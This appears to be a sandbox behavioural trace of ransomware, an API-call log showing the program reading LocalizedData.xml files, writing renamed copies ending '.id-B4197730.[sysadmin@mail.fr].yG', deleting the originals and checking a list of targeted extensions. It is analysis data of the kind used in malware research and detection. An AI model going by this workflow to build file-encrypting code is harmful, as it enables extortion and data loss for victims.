	[0041.958] GetFileSizeEx (in: hFile=0x32c, lpFileSize=0x2aeff14 | out: lpFileSize=0x2aeff14*=77748) returned 1
	[0041.958] CloseHandle (hObject=0x32c) returned 1
	[0041.958] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1030\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1030\\localizeddata.xml")) returned 0x80
	[0041.958] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1030\\LocalizedData.xml.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\588bce7c90097ed212\\1030\\localizeddata.xml.id-b4197730.[sysadmin@mail.fr].yg")) returned 0xffffffff
	[0041.958] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1030\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1030\\localizeddata.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x32c
	[0041.959] SetFilePointerEx (in: hFile=0x32c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2aefec0 | out: lpNewFilePointer=0x0) returned 1
	[0041.959] SetFilePointerEx (in: hFile=0x32c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2aefec0 | out: lpNewFilePointer=0x0) returned 1
	[0041.959] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1030\\LocalizedData.xml.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\588bce7c90097ed212\\1030\\localizeddata.xml.id-b4197730.[sysadmin@mail.fr].yg"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x330
	[0041.959] GetLastError () returned 0x0
	[0041.959] ReadFile (in: hFile=0x32c, lpBuffer=0x38fa020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2aefecc, lpOverlapped=0x0 | out: lpBuffer=0x38fa020*, lpNumberOfBytesRead=0x2aefecc*=0x12fb4, lpOverlapped=0x0) returned 1
	[0041.999] WriteFile (in: hFile=0x330, lpBuffer=0x38fa020*, nNumberOfBytesToWrite=0x12fc0, lpNumberOfBytesWritten=0x2aefc94, lpOverlapped=0x0 | out: lpBuffer=0x38fa020*, lpNumberOfBytesWritten=0x2aefc94*=0x12fc0, lpOverlapped=0x0) returned 1
	[0042.000] ReadFile (in: hFile=0x32c, lpBuffer=0x38fa020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2aefecc, lpOverlapped=0x0 | out: lpBuffer=0x38fa020*, lpNumberOfBytesRead=0x2aefecc*=0x0, lpOverlapped=0x0) returned 1
	[0042.000] WriteFile (in: hFile=0x330, lpBuffer=0x38fa020*, nNumberOfBytesToWrite=0xf6, lpNumberOfBytesWritten=0x2aefc94, lpOverlapped=0x0 | out: lpBuffer=0x38fa020*, lpNumberOfBytesWritten=0x2aefc94*=0xf6, lpOverlapped=0x0) returned 1
	[0042.000] SetEndOfFile (hFile=0x330) returned 1
	[0042.001] CloseHandle (hObject=0x330) returned 1
	[0042.011] SetFilePointerEx (in: hFile=0x32c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2aefec0 | out: lpNewFilePointer=0x0) returned 1
	[0042.011] SetEndOfFile (hFile=0x32c) returned 1
	[0042.012] CloseHandle (hObject=0x32c) returned 1
	[0042.013] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1030\\LocalizedData.xml.id-B4197730.[sysadmin@mail.fr].yG", dwFileAttributes=0x80) returned 1
	[0042.013] DeleteFileW (lpFileName="C:\\588bce7c90097ed212\\1030\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1030\\localizeddata.xml")) returned 1
	[0042.013] lstrlenW (lpString="C:\\588bce7c90097ed212\\1030\\LocalizedData.xml") returned 44
	[0042.013] lstrlenW (lpString="C:\\588bce7c90097ed212\\1030\\LocalizedData.xml") returned 44
	[0042.013] lstrlenW (lpString=".doc") returned 4
	[0042.013] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1
	[0042.013] lstrlenW (lpString=".docx") returned 5
	[0042.013] lstrcmpiW (lpString1=".docx", lpString2="a.xml") returned -1
	[0042.013] lstrlenW (lpString=".pdf") returned 4
	[0042.013] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1
	[0042.013] lstrlenW (lpString=".xls") returned 4
	[0042.013] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1
	[0042.013] lstrlenW (lpString=".xlsx") returned 5
	[0042.013] lstrcmpiW (lpString1=".xlsx", lpString2="a.xml") returned -1
	[0042.013] lstrlenW (lpString=".ppt") returned 4
	[0042.013] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1
	[0042.013] lstrlenW (lpString="C:\\588bce7c90097ed212\\1030\\LocalizedData.xml") returned 44
	[0042.013] lstrlenW (lpString=".zip") returned 4
	[0042.013] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1
	[0042.014] lstrlenW (lpString=".rar") returned 4
	[0042.014] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1
	[0042.014] lstrlenW (lpString=".bz2") returned 4
	[0042.014] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1
	[0042.014] lstrlenW (lpString=".7z") returned 3
	[0042.014] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1
	[0042.014] lstrlenW (lpString="C:\\588bce7c90097ed212\\1030\\LocalizedData.xml") returned 44
	[0042.014] lstrlenW (lpString=".dbf") returned 4
	[0042.014] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1
	[0042.014] lstrlenW (lpString="C:\\588bce7c90097ed212\\1030\\LocalizedData.xml") returned 44
	[0042.014] lstrlenW (lpString=".1cd") returned 4
	[0042.014] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1
	[0042.014] lstrlenW (lpString="C:\\588bce7c90097ed212\\1030\\LocalizedData.xml") returned 44
	[0042.014] lstrlenW (lpString=".jpg") returned 4
	[0042.014] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1
	[0042.014] lstrlenW (lpString="C:\\588bce7c90097ed212\\1030\\LocalizedData.xml") returned 44
	[0042.014] lstrlenW (lpString="C:\\588bce7c90097ed212\\1030\\LocalizedData.xml") returned 44
	[0042.014] lstrlenW (lpString=".doc") returned 4
	[0042.014] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1
	[0042.014] lstrlenW (lpString=".docx") returned 5
	[0042.014] lstrcmpiW (lpString1=".docx", lpString2="a.xml") returned -1
	[0042.014] lstrlenW (lpString=".pdf") returned 4
	[0042.014] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1
	[0042.014] lstrlenW (lpString=".xls") returned 4
	[0042.014] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1
	[0042.014] lstrlenW (lpString=".xlsx") returned 5
	[0042.014] lstrcmpiW (lpString1=".xlsx", lpString2="a.xml") returned -1
	[0042.014] lstrlenW (lpString=".ppt") returned 4
	[0042.015] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1
	[0042.015] lstrlenW (lpString="C:\\588bce7c90097ed212\\1030\\LocalizedData.xml") returned 44
	[0042.015] lstrlenW (lpString=".zip") returned 4
	[0042.015] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1
	[0042.015] lstrlenW (lpString=".rar") returned 4
	[0042.015] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1
	[0042.015] lstrlenW (lpString=".bz2") returned 4
	[0042.015] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1
	[0042.015] lstrlenW (lpString=".7z") returned 3
	[0042.015] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1
	[0042.015] lstrlenW (lpString="C:\\588bce7c90097ed212\\1030\\LocalizedData.xml") returned 44
	[0042.015] lstrlenW (lpString=".dbf") returned 4
	[0042.015] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1
	[0042.015] lstrlenW (lpString="C:\\588bce7c90097ed212\\1030\\LocalizedData.xml") returned 44
	[0042.015] lstrlenW (lpString=".1cd") returned 4
	[0042.015] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1
	[0042.015] lstrlenW (lpString="C:\\588bce7c90097ed212\\1030\\LocalizedData.xml") returned 44
	[0042.015] lstrlenW (lpString=".jpg") returned 4
	[0042.015] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1
	[0042.015] lstrcmpiW (lpString1=".xml", lpString2=".yG") returned -1
	[0042.015] lstrlenW (lpString="LocalizedData.xml") returned 17
	[0042.015] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1031\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1031\\localizeddata.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x33c
	[0042.219] GetFileSizeEx (in: hFile=0x33c, lpFileSize=0x2aeff14 | out: lpFileSize=0x2aeff14*=82346) returned 1
	[0042.219] CloseHandle (hObject=0x33c) returned 1
	[0042.219] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1031\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1031\\localizeddata.xml")) returned 0x80
	[0042.391] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1031\\LocalizedData.xml.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\588bce7c90097ed212\\1031\\localizeddata.xml.id-b4197730.[sysadmin@mail.fr].yg")) returned 0xffffffff
	[0042.391] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1031\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1031\\localizeddata.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x304
	[0042.392] SetFilePointerEx (in: hFile=0x304, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2aefec0 | out: lpNewFilePointer=0x0) returned 1
	[0042.392] SetFilePointerEx (in: hFile=0x304, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2aefec0 | out: lpNewFilePointer=0x0) returned 1
	[0042.392] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1031\\LocalizedData.xml.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\588bce7c90097ed212\\1031\\localizeddata.xml.id-b4197730.[sysadmin@mail.fr].yg"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f8
	[0042.392] GetLastError () returned 0x0
	[0042.392] ReadFile (in: hFile=0x304, lpBuffer=0x38fa020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2aefecc, lpOverlapped=0x0 | out: lpBuffer=0x38fa020*, lpNumberOfBytesRead=0x2aefecc*=0x141aa, lpOverlapped=0x0) returned 1
	[0042.563] WriteFile (in: hFile=0x2f8, lpBuffer=0x38fa020*, nNumberOfBytesToWrite=0x141b0, lpNumberOfBytesWritten=0x2aefc94, lpOverlapped=0x0 | out: lpBuffer=0x38fa020*, lpNumberOfBytesWritten=0x2aefc94*=0x141b0, lpOverlapped=0x0) returned 1
	[0042.565] ReadFile (in: hFile=0x304, lpBuffer=0x38fa020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2aefecc, lpOverlapped=0x0 | out: lpBuffer=0x38fa020*, lpNumberOfBytesRead=0x2aefecc*=0x0, lpOverlapped=0x0) returned 1
	[0042.565] WriteFile (in: hFile=0x2f8, lpBuffer=0x38fa020*, nNumberOfBytesToWrite=0xf6, lpNumberOfBytesWritten=0x2aefc94, lpOverlapped=0x0 | out: lpBuffer=0x38fa020*, lpNumberOfBytesWritten=0x2aefc94*=0xf6, lpOverlapped=0x0) returned 1
	[0042.565] SetEndOfFile (hFile=0x2f8) returned 1
	[0042.565] CloseHandle (hObject=0x2f8) returned 1
	[0042.567] SetFilePointerEx (in: hFile=0x304, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2aefec0 | out: lpNewFilePointer=0x0) returned 1
	[0042.567] SetEndOfFile (hFile=0x304) returned 1
	[0042.568] CloseHandle (hObject=0x304) returned 1
	[0042.568] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1031\\LocalizedData.xml.id-B4197730.[sysadmin@mail.fr].yG", dwFileAttributes=0x80) returned 1
	[0042.568] DeleteFileW (lpFileName="C:\\588bce7c90097ed212\\1031\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1031\\localizeddata.xml")) returned 1
	[0042.568] lstrlenW (lpString="C:\\588bce7c90097ed212\\1031\\LocalizedData.xml") returned 44
	[0042.568] lstrlenW (lpString="C:\\588bce7c90097ed212\\1031\\LocalizedData.xml") returned 44
	[0042.568] lstrlenW (lpString=".doc") returned 4
	[0042.568] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1
	[0042.568] lstrlenW (lpString=".docx") returned 5
	[0042.569] lstrcmpiW (lpString1=".docx", lpString2="a.xml") returned -1
	[0042.569] lstrlenW (lpString=".pdf") returned 4
	[0042.569] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1
	[0042.569] lstrlenW (lpString=".xls") returned 4
	[0042.569] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1
	[0042.569] lstrlenW (lpString=".xlsx") returned 5
	[0042.569] lstrcmpiW (lpString1=".xlsx", lpString2="a.xml") returned -1
	[0042.569] lstrlenW (lpString=".ppt") returned 4
	[0042.569] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1
	[0042.569] lstrlenW (lpString="C:\\588bce7c90097ed212\\1031\\LocalizedData.xml") returned 44
	[0042.569] lstrlenW (lpString=".zip") returned 4
	[0042.569] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1
	[0042.569] lstrlenW (lpString=".rar") returned 4
	[0042.569] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1
	[0042.569] lstrlenW (lpString=".bz2") returned 4
	[0042.569] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1
	[0042.569] lstrlenW (lpString=".7z") returned 3
	[0042.569] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1
	[0042.569] lstrlenW (lpString="C:\\588bce7c90097ed212\\1031\\LocalizedData.xml") returned 44
	[0042.569] lstrlenW (lpString=".dbf") returned 4
	[0042.569] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1
	[0042.569] lstrlenW (lpString="C:\\588bce7c90097ed212\\1031\\LocalizedData.xml") returned 44
	[0042.569] lstrlenW (lpString=".1cd") returned 4
	[0042.569] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1
	[0042.569] lstrlenW (lpString="C:\\588bce7c90097ed212\\1031\\LocalizedData.xml") returned 44
	[0042.569] lstrlenW (lpString=".jpg") returned 4
	[0042.569] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1
	[0042.569] lstrlenW (lpString="C:\\588bce7c90097ed212\\1031\\LocalizedData.xml") returned 44
	[0042.569] lstrlenW (lpString="C:\\588bce7c90097ed212\\1031\\LocalizedData.xml") returned 44
	[0042.569] lstrlenW (lpString=".doc") returned 4
	[0042.569] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1
	[0042.569] lstrlenW (lpString=".docx") returned 5
	[0042.569] lstrcmpiW (lpString1=".docx", lpString2="a.xml") returned -1
	[0042.569] lstrlenW (lpString=".pdf") returned 4
	[0042.569] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1
	[0042.569] lstrlenW (lpString=".xls") returned 4
	[0042.569] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1
	[0042.569] lstrlenW (lpString=".xlsx") returned 5
	[0042.569] lstrcmpiW (lpString1=".xlsx", lpString2="a.xml") returned -1
	[0042.570] lstrlenW (lpString=".ppt") returned 4
	[0042.570] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1
	[0042.570] lstrlenW (lpString="C:\\588bce7c90097ed212\\1031\\LocalizedData.xml") returned 44
	[0042.570] lstrlenW (lpString=".zip") returned 4
	[0042.570] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1
	[0042.570] lstrlenW (lpString=".rar") returned 4
	[0042.570] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1
	[0042.570] lstrlenW (lpString=".bz2") returned 4
	[0042.570] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1
	[0042.570] lstrlenW (lpString=".7z") returned 3
	[0042.570] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1
	[0042.570] lstrlenW (lpString="C:\\588bce7c90097ed212\\1031\\LocalizedData.xml") returned 44
	[0042.570] lstrlenW (lpString=".dbf") returned 4
	[0042.570] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1
	[0042.570] lstrlenW (lpString="C:\\588bce7c90097ed212\\1031\\LocalizedData.xml") returned 44
	[0042.570] lstrlenW (lpString=".1cd") returned 4
	[0042.570] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1
	[0042.570] lstrlenW (lpString="C:\\588bce7c90097ed212\\1031\\LocalizedData.xml") returned 44
	[0042.570] lstrlenW (lpString=".jpg") returned 4
	[0042.570] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1
	[0042.570] lstrcmpiW (lpString1=".xml", lpString2=".yG") returned -1
	[0042.570] lstrlenW (lpString="LocalizedData.xml") returned 17
	[0042.570] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1033\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1033\\localizeddata.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x304
	[0042.570] GetFileSizeEx (in: hFile=0x304, lpFileSize=0x2aeff14 | out: lpFileSize=0x2aeff14*=77232) returned 1
	[0042.570] CloseHandle (hObject=0x304) returned 1
	[0042.570] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1033\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1033\\localizeddata.xml")) returned 0x80
	[0042.571] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1033\\LocalizedData.xml.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\588bce7c90097ed212\\1033\\localizeddata.xml.id-b4197730.[sysadmin@mail.fr].yg")) returned 0xffffffff
	[0042.571] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1033\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1033\\localizeddata.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x304
	[0042.571] SetFilePointerEx (in: hFile=0x304, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2aefec0 | out: lpNewFilePointer=0x0) returned 1
	[0042.571] SetFilePointerEx (in: hFile=0x304, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2aefec0 | out: lpNewFilePointer=0x0) returned 1
	[0042.571] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1033\\LocalizedData.xml.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\588bce7c90097ed212\\1033\\localizeddata.xml.id-b4197730.[sysadmin@mail.fr].yg"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f8
	[0042.571] GetLastError () returned 0x0
	[0042.571] ReadFile (in: hFile=0x304, lpBuffer=0x38fa020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2aefecc, lpOverlapped=0x0 | out: lpBuffer=0x38fa020*, lpNumberOfBytesRead=0x2aefecc*=0x12db0, lpOverlapped=0x0) returned 1
	[0042.638] WriteFile (in: hFile=0x2f8, lpBuffer=0x38fa020*, nNumberOfBytesToWrite=0x12dc0, lpNumberOfBytesWritten=0x2aefc94, lpOverlapped=0x0 | out: lpBuffer=0x38fa020*, lpNumberOfBytesWritten=0x2aefc94*=0x12dc0, lpOverlapped=0x0) returned 1
	[0042.639] ReadFile (in: hFile=0x304, lpBuffer=0x38fa020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2aefecc, lpOverlapped=0x0 | out: lpBuffer=0x38fa020*, lpNumberOfBytesRead=0x2aefecc*=0x0, lpOverlapped=0x0) returned 1
	[0042.639] WriteFile (in: hFile=0x2f8, lpBuffer=0x38fa020*, nNumberOfBytesToWrite=0xf6, lpNumberOfBytesWritten=0x2aefc94, lpOverlapped=0x0 | out: lpBuffer=0x38fa020*, lpNumberOfBytesWritten=0x2aefc94*=0xf6, lpOverlapped=0x0) returned 1
	[0042.640] SetEndOfFile (hFile=0x2f8) returned 1
	[0042.640] CloseHandle (hObject=0x2f8) returned 1
	[0042.641] SetFilePointerEx (in: hFile=0x304, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2aefec0 | out: lpNewFilePointer=0x0) returned 1
	[0042.642] SetEndOfFile (hFile=0x304) returned 1
	[0042.643] CloseHandle (hObject=0x304) returned 1
	[0042.643] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1033\\LocalizedData.xml.id-B4197730.[sysadmin@mail.fr].yG", dwFileAttributes=0x80) returned 1
	[0042.643] DeleteFileW (lpFileName="C:\\588bce7c90097ed212\\1033\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1033\\localizeddata.xml")) returned 1
	[0042.643] lstrlenW (lpString="C:\\588bce7c90097ed212\\1033\\LocalizedData.xml") returned 44
	[0042.643] lstrlenW (lpString="C:\\588bce7c90097ed212\\1033\\LocalizedData.xml") returned 44
	[0042.643] lstrlenW (lpString=".doc") returned 4
	[0042.643] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1
	[0042.643] lstrlenW (lpString=".docx") returned 5
	[0042.643] lstrcmpiW (lpString1=".docx", lpString2="a.xml") returned -1
	[0042.643] lstrlenW (lpString=".pdf") returned 4
	[0042.643] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1
	[0042.644] lstrlenW (lpString=".xls") returned 4
	[0042.644] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1
	[0042.644] lstrlenW (lpString=".xlsx") returned 5
	[0042.644] lstrcmpiW (lpString1=".xlsx", lpString2="a.xml") returned -1
	[0042.644] lstrlenW (lpString=".ppt") returned 4
	[0042.644] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1
	[0042.644] lstrlenW (lpString="C:\\588bce7c90097ed212\\1033\\LocalizedData.xml") returned 44
	[0042.644] lstrlenW (lpString=".zip") returned 4
	[0042.644] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1
	[0042.644] lstrlenW (lpString=".rar") returned 4
	[0042.644] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1
	[0042.644] lstrlenW (lpString=".bz2") returned 4
	[0042.644] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1
	[0042.644] lstrlenW (lpString=".7z") returned 3
	[0042.644] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1
	[0042.644] lstrlenW (lpString="C:\\588bce7c90097ed212\\1033\\LocalizedData.xml") returned 44
	[0042.644] lstrlenW (lpString=".dbf") returned 4
	[0042.644] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1
	[0042.644] lstrlenW (lpString="C:\\588bce7c90097ed212\\1033\\LocalizedData.xml") returned 44
	[0042.644] lstrlenW (lpString=".1cd") returned 4
	[0042.644] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1
	[0042.644] lstrlenW (lpString="C:\\588bce7c90097ed212\\1033\\LocalizedData.xml") returned 44
	[0042.644] lstrlenW (lpString=".jpg") returned 4
	[0042.644] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1
	[0042.644] lstrlenW (lpString="C:\\588bce7c90097ed212\\1033\\LocalizedData.xml") returned 44
	[0042.644] lstrlenW (lpString="C:\\588bce7c90097ed212\\1033\\LocalizedData.xml") returned 44
	[0042.644] lstrlenW (lpString=".doc") returned 4
	[0042.644] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1
	[0042.644] lstrlenW (lpString=".docx") returned 5
	[0042.644] lstrcmpiW (lpString1=".docx", lpString2="a.xml") returned -1
	[0042.644] lstrlenW (lpString=".pdf") returned 4
	[0042.644] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1
	[0042.644] lstrlenW (lpString=".xls") returned 4
	[0042.644] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1
	[0042.644] lstrlenW (lpString=".xlsx") returned 5
	[0042.644] lstrcmpiW (lpString1=".xlsx", lpString2="a.xml") returned -1
	[0042.644] lstrlenW (lpString=".ppt") returned 4
	[0042.645] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1
	[0042.645] lstrlenW (lpString="C:\\588bce7c90097ed212\\1033\\LocalizedData.xml") returned 44
	[0042.645] lstrlenW (lpString=".zip") returned 4
	[0042.645] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1
	[0042.645] lstrlenW (lpString=".rar") returned 4
	[0042.645] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1
	[0042.645] lstrlenW (lpString=".bz2") returned 4
	[0042.645] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1
	[0042.645] lstrlenW (lpString=".7z") returned 3
	[0042.645] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1
	[0042.645] lstrlenW (lpString="C:\\588bce7c90097ed212\\1033\\LocalizedData.xml") returned 44
	[0042.645] lstrlenW (lpString=".dbf") returned 4
	[0042.645] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1
	[0042.645] lstrlenW (lpString="C:\\588bce7c90097ed212\\1033\\LocalizedData.xml") returned 44
	[0042.645] lstrlenW (lpString=".1cd") returned 4
	[0042.645] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1
	[0042.645] lstrlenW (lpString="C:\\588bce7c90097ed212\\1033\\LocalizedData.xml") returned 44
	[0042.645] lstrlenW (lpString=".jpg") returned 4
	[0042.645] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1
	[0042.645] lstrcmpiW (lpString1=".xml", lpString2=".yG") returned -1
	[0042.645] lstrlenW (lpString="LocalizedData.xml") returned 17
	[0042.645] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1036\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1036\\localizeddata.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x304
	[0042.645] GetFileSizeEx (in: hFile=0x304, lpFileSize=0x2aeff14 | out: lpFileSize=0x2aeff14*=82962) returned 1
	[0042.645] CloseHandle (hObject=0x304) returned 1
	[0042.645] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1036\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1036\\localizeddata.xml")) returned 0x80
	[0042.646] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1036\\LocalizedData.xml.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\588bce7c90097ed212\\1036\\localizeddata.xml.id-b4197730.[sysadmin@mail.fr].yg")) returned 0xffffffff
	[0042.646] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1036\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1036\\localizeddata.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x304
	[0042.646] SetFilePointerEx (in: hFile=0x304, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2aefec0 | out: lpNewFilePointer=0x0) returned 1
	[0042.646] SetFilePointerEx (in: hFile=0x304, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2aefec0 | out: lpNewFilePointer=0x0) returned 1
	[0042.646] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1036\\LocalizedData.xml.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\588bce7c90097ed212\\1036\\localizeddata.xml.id-b4197730.[sysadmin@mail.fr].yg"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f8
	[0042.646] GetLastError () returned 0x0
	[0042.646] ReadFile (in: hFile=0x304, lpBuffer=0x38fa020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2aefecc, lpOverlapped=0x0 | out: lpBuffer=0x38fa020*, lpNumberOfBytesRead=0x2aefecc*=0x14412, lpOverlapped=0x0) returned 1
